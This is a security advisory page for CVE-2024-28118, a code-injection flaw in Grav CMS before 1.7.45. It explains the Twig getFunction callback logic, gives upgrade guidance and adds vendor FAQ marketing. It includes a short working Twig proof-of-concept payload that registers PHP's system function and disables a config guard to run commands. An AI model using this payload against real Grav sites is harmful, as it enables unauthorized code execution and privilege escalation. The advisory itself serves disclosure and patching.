CVE-2024-28118

Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.

Details

The twig context has a function declared called getFunction.

public function getFunction($name)
    {
        if (!$this->extensionInitialized) {
            $this->initExtensions();
        }

        if (isset($this->functions[$name])) {
            return $this->functions[$name];
        }

        foreach ($this->functions as $pattern => $function) {
            $pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);

            if ($count) {
                if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
                    array_shift($matches);
                    $function->setArguments($matches);

                    return $function;
                }
            }
        }

        foreach ($this->functionCallbacks as $callback) {
            if (false !== $function = \call_user_func($callback, $name)) {
                return $function;
            }
        }

        return false;
    }

This function, if the value of $name does not exist in $this->functions, uses call_user_func to execute callback functions stored in $this->functionCallbacks.

It is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.

The default function callback is as follows:

$this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) {
                $allowed = $config->get('system.twig.safe_functions');
                if (is_array($allowed) and in_array($name, $allowed, true) and function_exists($name)) {
                    return new TwigFunction($name, $name);
                }
                if ($config->get('system.twig.undefined_functions')) {
                    if (function_exists($name)) {
                        if (!Utils::isDangerousFunction($name)) {
                            user_error("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_functions`", E_USER_DEPRECATED);

                            return new TwigFunction($name, $name);
                        }

                        /** @var Debugger $debugger */
                        $debugger = $this->grav['debugger'];
                        $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: `system.twig.safe_functions`"));
                    }

                    return new TwigFunction($name, static function () {});
                }

                return false;
            });

If you look at this function, if the value of system.twig.undefined_functions is false, it returns false.
In that case, it is possible for our registered callback to be executed.

At this time, the Grav\Common\Config\Config class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefined_functions to false.
As a result, an attacker can execute any arbitrarily registered callback function.

PoC

{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}
{% set a = grav.config.set('system.twig.undefined_functions',false) %}
{{ grav.twig.twig.getFunction('id') }}

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.
As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2024-28118 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.7.45); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-28118? CVE-2024-28118 is a high-severity code injection vulnerability in getgrav/grav (composer), affecting versions < 1.7.45. It is fixed in 1.7.45. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2024-28118? CVE-2024-28118 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of getgrav/grav are affected by CVE-2024-28118? getgrav/grav (composer) versions < 1.7.45 is affected.
4. Is there a fix for CVE-2024-28118? Yes. CVE-2024-28118 is fixed in 1.7.45. Upgrade to this version or later.
5. Is CVE-2024-28118 exploitable, and should I be worried? Whether CVE-2024-28118 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-28118 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-28118? Upgrade getgrav/grav to 1.7.45 or later.